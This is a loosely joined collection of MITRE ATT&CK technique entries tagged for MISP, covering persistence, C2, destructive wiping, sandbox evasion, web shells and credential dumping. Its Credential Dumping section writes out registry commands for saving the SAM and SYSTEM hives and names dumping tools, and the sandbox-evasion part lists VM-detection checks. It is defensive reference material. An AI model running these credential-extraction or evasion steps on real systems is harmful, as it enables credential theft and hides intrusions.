The at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.

**launchd**

Each launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called `<code>StartCalendarInterval</code>` with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.

Control Panel Items - T1196

Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPLApplet function. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file. (Citation: Microsoft Implementing CPL) (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013)

For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel. (Citation: Microsoft Implementing CPL)

Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1193) campaigns (Citation: TrendMicro CPL Malware Jan 2014) (Citation: TrendMicro CPL Malware Dec 2013) or executed as part of multi-stage malware. (Citation: Palo Alto Reaver Nov 2017) Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.

C2 protocol development - T1352

Command and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)
Compiled HTML File - T1223

Compiled HTML files (.chm) are commonly distributed as part of the Microsoft HTML Help system. CHM files are compressed compilations of various content such as HTML documents, images, and scripting/web related programming languages such VBA, JScript, Java, and ActiveX. (Citation: Microsoft HTML Help May 2018) CHM content is displayed using underlying components of the Internet Explorer browser (Citation: Microsoft HTML Help ActiveX) loaded by the HTML Help executable program (hh.exe). (Citation: Microsoft HTML Help Executable Program)

Adversaries may abuse this technology to conceal malicious code. A custom CHM file containing embedded payloads could be delivered to a victim then triggered by [User Execution](https://attack.mitre.org/techniques/T1204). CHM execution may also bypass application whitelisting on older and/or unpatched systems that do not account for execution of binaries through hh.exe. (Citation: MsitPros CHM Aug 2017) (Citation: Microsoft CVE-2017-8625 Aug 2017)

Application Access Token - T1527

Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.

Application access tokens are used to make authorized API requests on behalf of a user and are
commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS). (Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application. (Citation: okta)

For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a "refresh" token enabling background access is awarded. (Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration. (Citation: Staaldraad Phishing with OAuth 2017)

Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim's primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.

</tbody>
</table>

Domain Generation Algorithms - T1483

Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella)
DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.

Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.

The tag is: *misp-galaxy:mitre-attack-pattern*="Domain Generation Algorithms - T1483"

### Alternate Network Mediums - T1438

Adversaries can communicate using cellular networks rather than enterprise Wi-Fi in order to bypass enterprise network monitoring systems. Adversaries may also communicate using other non-Internet Protocol mediums such as SMS, NFC, or Bluetooth to bypass network monitoring systems.

The tag is: *misp-galaxy:mitre-attack-pattern*="Alternate Network Mediums - T1438"
Transmitted Data Manipulation - T1493

Adversaries may alter data en route to storage or other systems in order to manipulate external outcomes or hide activity. (Citation: FireEye APT38 Oct 2018) (Citation: DOJ Lazarus Sony 2018) By manipulating transmitted data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Manipulation may be possible over a network connection or between system processes where there is an opportunity to deploy a tool that will intercept and change information. The type of modification and the impact it will have depends on the target transmission mechanism as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

Revert Cloud Instance - T1536

An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be easily facilitated using restoration from VM or data storage snapshots through the cloud management dashboard. Another variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the latter types often reset upon stop/restart of the VM. (Citation: Tech Republic - Restore AWS Snapshots) (Citation: Google - Restore Cloud Snapshot)

Test callback functionality - T1356

Callbacks are malware communications seeking instructions. An adversary will test their malware to ensure the appropriate instructions are conveyed and the callback software can be reached. (Citation: LeeBeaconing)

The tag is: misp-galaxy:mitre-attack-pattern="Test callback functionality - T1356"

Cloud Service Dashboard - T1538

An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports. (Citation: Google Command Center Dashboard)

Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests.

The tag is: misp-galaxy:mitre-attack-pattern="Cloud Service Dashboard - T1538"

Disseminate removable media - T1379

Removable media containing malware can be injected into a supply chain at large or small scale. It can also be physically placed for someone to find or can be sent to someone in a more targeted manner. The intent is to have the user utilize the removable media on a system where the adversary is trying to gain access. (Citation: USBMalwareAttacks) (Citation: FPDefendNewDomain) (Citation: ParkingLotUSB)

The tag is: misp-galaxy:mitre-attack-pattern="Disseminate removable media - T1379"
Spearphishing for Information - T1397

Spearphishing for information is a specific variant of spearphishing. Spearphishing for information is different from other forms of spearphishing in that it doesn’t leverage malicious code. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials, without involving malicious code. Spearphishing for information frequently involves masquerading as a source with a reason to collect information (such as a system administrator or a bank) and providing a user with a website link to visit. The given website often closely resembles a legitimate site in appearance and has a URL containing elements from the real site. From the fake website, information is gathered in web forms and sent to the attacker. Spearphishing for information may also try to obtain information directly through the exchange of emails, instant messengers or other electronic conversation means. (Citation: ATTACKREF GRIZZLY STEPPE JAR)

The tag is: misp-galaxy:mitre-attack-pattern="Spearphishing for Information - T1397"

Malicious SMS Message - T1454

An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009 as described in (Citation: Forbes-iPhoneSMS).

An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser.

As described by SRLabs in (Citation: SRLabs-SIMCard), vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages.

Platforms: Android, iOS

The tag is: misp-galaxy:mitre-attack-pattern="Malicious SMS Message - T1454"

Supply Chain Compromise - T1474

As further described in [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), supply chain compromise is the manipulation of products or product delivery mechanisms prior to receipt by a final consumer for the purpose of data or system compromise. Somewhat related, adversaries could also identify and exploit inadvertently present vulnerabilities. In many cases, it
may be difficult to be certain whether exploitable functionality is due to malicious intent or simply inadvertent mistake.

Related PRE-ATT&CK techniques include:

- [Identify vulnerabilities in third-party software libraries](https://attack.mitre.org/techniques/T1389) - Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities. For example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).

- [Distribute malicious software development tools](https://attack.mitre.org/techniques/T1394) - As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.

### Group Policy Modification - T1484

Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain.
Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `<code>&lt;DOMAIN&gt;\SYSVOL&lt;DOMAIN&gt;\Policies\</code>.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.

Malicious GPO modifications can be used to implement [Scheduled Task](https://attack.mitre.org/techniques/T1053), [Disabling Security Tools](https://attack.mitre.org/techniques/T1089), [Remote File Copy](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1035) and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs) Publicly available scripts such as `<code>New-GPOImmediateTask</code>` can be leveraged to automate the creation of a malicious [Scheduled Task](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying `<code>&lt;GPO_PATH&gt;\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml</code>`.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like `SeEnableDelegationPrivilege`, set in `<code>&lt;GPO_PATH&gt;\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf</code>`, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)

Runtime Data Manipulation - T1494

Adversaries may modify systems in order to manipulate the data as it is accessed and displayed to an end user.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating runtime data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Adversaries may alter application binaries used to display data in order to cause runtime manipulations. Adversaries may also conduct [Change Default File Association](https://attack.mitre.org/techniques/T1042) and [Masquerading](https://attack.mitre.org/techniques/T1036) to cause a similar effect. The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: `misp-galaxy:mitre-attack-pattern="Runtime Data Manipulation - T1494"`

Exploit Baseband Vulnerability - T1455

A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device.

1. Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference (Citation: Register-BaseStation).

Weinmann described and demonstrated “the risk of remotely exploitable memory corruptions in cellular baseband stacks.” (Citation: Weinmann-Baseband)

Platforms: Android, iOS

The tag is: `misp-galaxy:mitre-attack-pattern="Exploit Baseband Vulnerability - T1455"

Disk Structure Wipe - T1487

Adversaries may corrupt or wipe the disk data structures on hard drive necessary to boot systems; targeting specific critical systems as well as a large number of systems in a network to interrupt availability to system and network resources.

Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1488) if all sectors of a disk are wiped.

To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

Disk Content Wipe - T1488

Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.

Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface. (Citation: Novetta Blockbuster) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data. (Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content. (Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). **Multi-Stage Channels - T1104**

Adversaries may create multiple stages for command and control that are employed under different conditions or for certain functions. Use of multiple stages may obfuscate the command and control channel to make detection more difficult.

Remote access tools will call back to the first-stage command and control server for instructions. The first stage may have automated capabilities to collect basic host information, update tools, and upload additional files. A second remote access tool (RAT) could be uploaded at that point to redirect the host to the second-stage command and control server. The second stage will likely be more fully featured and allow the adversary to interact with the system through a reverse shell and additional RAT features.

The different stages will likely be hosted separately with no overlapping infrastructure. The loader may also have backup first-stage callbacks or [Fallback Channels](https://attack.mitre.org/techniques/T1008) in case the original first-stage communication path is discovered and blocked.

The tag is: *misp-galaxy:mitre-attack-pattern*="Multi-Stage Channels - T1104"

**Third-party Software - T1072**

Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code.

Adversaries may gain access to and use third-party systems installed within an enterprise network, such as administration, monitoring, and deployment systems as well as third-party gateways and jump servers used for managing other systems. Access to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.

The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it’s
intended purpose.

**DLL Side-Loading - T1073**

Programs may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests (Citation: MSDN Manifests) are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL. (Citation: Stewart 2014)

Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.

The tag is: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1073"

**Command-Line Interface - T1059**

Command-line interfaces provide a way of interacting with computer systems and is a common feature across many types of operating system platforms. (Citation: Wikipedia Command-Line Interface) One example command-line interface on Windows systems is [cmd](https://attack.mitre.org/software/S0106), which can be used to perform a number of tasks including execution of other software. Command-line interfaces can be interacted with locally or remotely via a remote desktop application, reverse shell session, etc. Commands that are executed run with the current permission level of the command-line interface process unless the command includes process invocation that changes permissions context for that execution (e.g. [Scheduled Task](https://attack.mitre.org/techniques/T1053)).

Adversaries may use command-line interfaces to interact with systems and execute other software during the course of an operation.

The tag is: misp-galaxy:mitre-attack-pattern="Command-Line Interface - T1059"
Re-opened Applications - T1164

Starting in Mac OS X 10.7 (Lion), users can specify certain applications to be re-opened when a user reboots their machine. While this is usually done via a Graphical User Interface (GUI) on an app-by-app basis, there are property list files (plist) that contain this information as well located at `<code>~/Library/Preferences/com.apple.loginwindow.plist</code>` and `<code>~/Library/Preferences/ByHost/com.apple.loginwindow.*.plist</code>`.

An adversary can modify one of these files directly to include a link to their malicious executable to provide a persistence mechanism each time the user reboots their machine (Citation: Methods of Mac Malware Persistence).

The tag is: `misp-galaxy:mitre-attack-pattern="Re-opened Applications - T1164"`

SID-History Injection - T1178

The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).

Adversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [Windows Admin Shares](https://attack.mitre.org/techniques/T1077), or [Windows Remote Management](https://attack.mitre.org/techniques/T1028).

The tag is: `misp-galaxy:mitre-attack-pattern="SID-History Injection - T1178"`
Multi-hop Proxy - T1188

To disguise the source of malicious traffic, adversaries may chain together multiple proxies. Typically, a defender will be able to identify the last proxy traffic traversed before it enters their network; the defender may or may not be able to identify any previous proxies before the last-hop proxy. This technique makes identifying the original source of the malicious traffic even more difficult by requiring the defender to trace malicious traffic through several proxies to identify its source.

The tag is: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1188"

Drive-by Compromise - T1189

A drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user’s web browser is typically targeted for exploitation, but adversaries may also use compromised websites for non-exploitation behavior such as acquiring application access tokens.

Multiple ways of delivering exploit code to a browser exist, including:

- A legitimate website is compromised where adversaries have injected some form of malicious code such as JavaScript, iFrames, and cross-site scripting.
- Malicious ads are paid for and served through legitimate ad providers.
- Built-in web application interfaces are leveraged for the insertion of any other kind of object that can be used to display web content or contain a script that executes on the visiting client (e.g. forum posts, comments, and other user controllable web content).

Often the website used by an adversary is one visited by a specific community, such as government, a particular industry, or region, where the goal is to compromise a specific user or set of users based on a shared interest. This kind of targeted attack is referred to a strategic web compromise or watering hole attack. There are several known examples of this occurring. (Citation: Shadowserver Strategic Web Compromise)
Typical drive-by compromise process:

1. A user visits a website that is used to host the adversary controlled content.
2. Scripts automatically execute, typically searching versions of the browser and plugins for a potentially vulnerable version.
   - The user may be required to assist in this process by enabling scripting or active website components and ignoring warning dialog boxes.
3. Upon finding a vulnerable version, exploit code is delivered to the browser.
4. If exploitation is successful, then it will give the adversary code execution on the user's system unless other protections are in place.
   - In some cases a second visit to the website after the initial scan is required before exploit code is delivered.

Unlike [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), the focus of this technique is to exploit software on a client endpoint upon visiting a website. This will commonly give an adversary access to systems on the internal network instead of external systems that may be in a DMZ.

Adversaries may also use compromised websites to deliver a user to a malicious application designed to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528), like OAuth tokens, to gain access to protected applications and information. These malicious applications have been delivered through popups on legitimate websites. (Citation: Volexity OceanLotus Nov 2017)

**Drive-by Compromise - T1456**

As described by [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), a drive-by compromise is when an adversary gains access to a system through a user visiting a website over the normal course of browsing. With this technique, the user's web browser is targeted for exploitation. For example, a website may contain malicious media content intended to exploit vulnerabilities in media parsers as demonstrated by the Android Stagefright vulnerability (Citation: Zimperium-Stagefright).

(This technique was formerly known as Malicious Web Content. It has been renamed to better align with ATT&CK for Enterprise.)

The tag is: `misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1456"`
Identify groups/roles - T1270

Personnel internally to a company may belong to a group or maintain a role with electronic specialized access, authorities, or privilege that make them an attractive target for an adversary. One example of this is a system administrator. (Citation: RSA-APTRecon)

The tag is: `misp-galaxy:mitre-attack-pattern="Identify groups/roles - T1270"`

Proxy/protocol relays - T1304

Proxies act as an intermediary for clients seeking resources from other systems. Using a proxy may make it more difficult to track back the origin of a network communication. (Citation: APT1)

The tag is: `misp-galaxy:mitre-attack-pattern="Proxy/protocol relays - T1304"`

Develop KITs/KIQs - T1227

Leadership derives Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from the areas of most interest to them. KITs are an expression of management’s intelligence needs with respect to early warning, strategic and operational decisions, knowing the competition, and understanding the competitive situation. KIQs are the critical questions aligned by KIT which provide the basis for collection plans, create a context for analytic work, and/or identify necessary external operations. System Shutdown/Reboot - T1529

Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.(Citation: Microsoft Shutdown Oct 2017) Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.

Adversaries may attempt to shutdown/reboot a system after impacting it in other ways, such as [Disk Structure Wipe](https://attack.mitre.org/techniques/T1487) or [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490), to hasten the intended effects on system availability.(Citation: Talos Nyetya June 2017)(Citation: Talos Olympic Destroyer 2018)

Virtualization/Sandbox Evasion - T1497

Adversaries may check for the presence of a virtual machine environment (VME) or sandbox to avoid potential detection of tools and activities. If the adversary detects a VME, they may alter their malware to conceal the core functions of the implant or disengage from the victim. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information from learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.

Adversaries may use several methods including [Security Software Discovery](https://attack.mitre.org/techniques/T1063) to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) by searching for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) to help determine if it is an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandboxes. (Citation: Unit 42 Pirpi July 2015)

Virtual Machine Environment Artifacts Discovery

Adversaries may use utilities such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047), [PowerShell](https://attack.mitre.org/techniques/T1086), [Systeminfo](https://attack.mitre.org/software/S0096), and the [Query Registry](https://attack.mitre.org/techniques/T1012) to obtain system information and search for VME artifacts. Adversaries may search for VME artifacts in memory, processes, file system, and/or the Registry. Adversaries may use [Scripting](https://attack.mitre.org/techniques/T1064) to combine these checks into one script and then have the program exit if it determines the system to be a
virtual environment. Also, in applications like VMWare, adversaries can use a special I/O port to send commands and receive output. Adversaries may also check the drive size. For example, this can be done using the Win32 DeviceIOControl function.

Example VME Artifacts in the Registry (Citation: McAfee Virtual Jan 2017)

- `<code>HKLM\SOFTWARE\Oracle\VirtualBox Guest Additions</code>`
- `<code>HKLM\HARDWARE\Description\System\"SystemBiosVersion\";"VMWARE"</code>`
- `<code>HKLM\HARDWARE\ACPI\DSDT\BOX_</code>`

Example VME files and DLLs on the system (Citation: McAfee Virtual Jan 2017)

- `<code>WINDOWS\system32\drivers\vmmouse.sys</code>`
- `<code>WINDOWS\system32\vboxhook.dll</code>`
- `<code>Windows\system32\vboxdisp.dll</code>`

Common checks may enumerate services running that are unique to these applications, installed programs on the system, manufacturer/product fields for strings relating to virtual machine applications, and VME-specific hardware/processor instructions. (Citation: McAfee Virtual Jan 2017)

User Activity Discovery

Adversaries may search for user activity on the host (e.g., browser history, cache, bookmarks, number of files in the home directories, etc.) for reassurance of an authentic environment. They might detect this type of information via user interaction and digital signatures. They may have malware check the speed and frequency of mouse clicks to determine if it’s a sandboxed environment. (Citation: Sans Virtual Jan 2016) Other methods may rely on specific user interaction with the system before the malicious code is activated. Examples include waiting for a document to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) and waiting for a user to double click on an embedded image to activate (Citation: FireEye FIN7 April 2017).

Virtual Hardware Fingerprinting Discovery

Adversaries may check the fan and temperature of the system to gather evidence that can be indicative a virtual environment. An adversary may perform a CPU check using a WMI query `<code>$q = “Select * from Win32_Fan” Get-WmiObject -Query $q</code>`. If the results of the WMI query return more than zero elements, this might tell them that the machine is a physical one. (Citation: Unit 42 OilRig Sept 2018)

**Data Obfuscation - T1001**

Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, commingling legitimate traffic with C2 communications traffic, or using a non-standard data encoding system, such as a modified Base64 encoding for the message body of an HTTP request.

The tag is: `misp-galaxy:mitre-attack-pattern="Data Obfuscation - T1001"

**Web Shell - T1100**

A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)

Web shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.

The tag is: `misp-galaxy:mitre-attack-pattern="Web Shell - T1100"`
**Automated Exfiltration - T1020**

Data, such as sensitive documents, may be exfiltrated through the use of automated processing or [Scripting](https://attack.mitre.org/techniques/T1064) after being gathered during Collection.

When automated exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as [Exfiltration Over Command and Control Channel](https://attack.mitre.org/techniques/T1041) and [Exfiltration Over Alternative Protocol](https://attack.mitre.org/techniques/T1048).

**Hardware Additions - T1200**

Adversaries may introduce computer accessories, computers, or networking hardware into a system or network that can be used as a vector to gain access. While public references of usage by APT groups are scarce, many penetration testers leverage hardware additions for initial access. Commercial and open source products are leveraged with capabilities such as passive network tapping (Citation: Ossmann Star Feb 2011), man-in-the-middle encryption breaking (Citation: Aleks Weapons Nov 2015), keystroke injection (Citation: Hak5 RubberDuck Dec 2016), kernel memory reading via DMA (Citation: Frisk DMA August 2016), adding new wireless access to an existing network (Citation: McMillan Pwn March 2012), and others.

**Data Compressed - T1002**

An adversary may compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network. The compression is done separately from the exfiltration channel and is performed using a custom program or...
Credential Dumping - T1003

Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.

Several of the tools mentioned in this technique may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.

Windows

SAM (Security Accounts Manager)

The SAM is a database file that contains local accounts for the host, typically those found with the 'net user' command. To enumerate the SAM database, system level access is required. A number of tools can be used to retrieve the SAM file through in-memory techniques:

- pwdumpx.exe
- [gsecdump](https://attack.mitre.org/software/S0008)
- [Mimikatz](https://attack.mitre.org/software/S0002)
- secretsdump.py

Alternatively, the SAM can be extracted from the Registry with [Reg](https://attack.mitre.org/software/S0075):

- `<code>reg save HKLM\sam sam</code>`
- `<code>reg save HKLM\system system</code>`

Creddump7 can then be used to process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)

Notes: Rid 500 account is the local, in-built administrator. Rid 501 is the guest account. User accounts start with a RID of 1,000+.

Cached Credentials

The DCC2 (Domain Cached Credentials version 2) hash, used by Windows Vista and newer caches
credentials when the domain controller is unavailable. The number of default cached credentials varies, and this number can be altered per system. This hash does not allow pass-the-hash style attacks. A number of tools can be used to retrieve the SAM file through in-memory techniques.

- pwdumpx.exe
- [gsecdump](https://attack.mitre.org/software/S0008)
- [Mimikatz](https://attack.mitre.org/software/S0002)

Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.

Notes: Cached credentials for Windows Vista are derived using PBKDF2.

**Local Security Authority (LSA) Secrets**

With SYSTEM access to a host, the LSA secrets often allows trivial access from a local account to domain-based account credentials. The Registry is used to store the LSA secrets. When services are run under the context of local or domain users, their passwords are stored in the Registry. If autologon is enabled, this information will be stored in the Registry as well. A number of tools can be used to retrieve the SAM file through in-memory techniques.

- pwdumpx.exe
- [gsecdump](https://attack.mitre.org/software/S0008)
- [Mimikatz](https://attack.mitre.org/software/S0002)
- secretsdump.py

Alternatively, reg.exe can be used to extract from the Registry and Creddump7 used to gather the credentials.

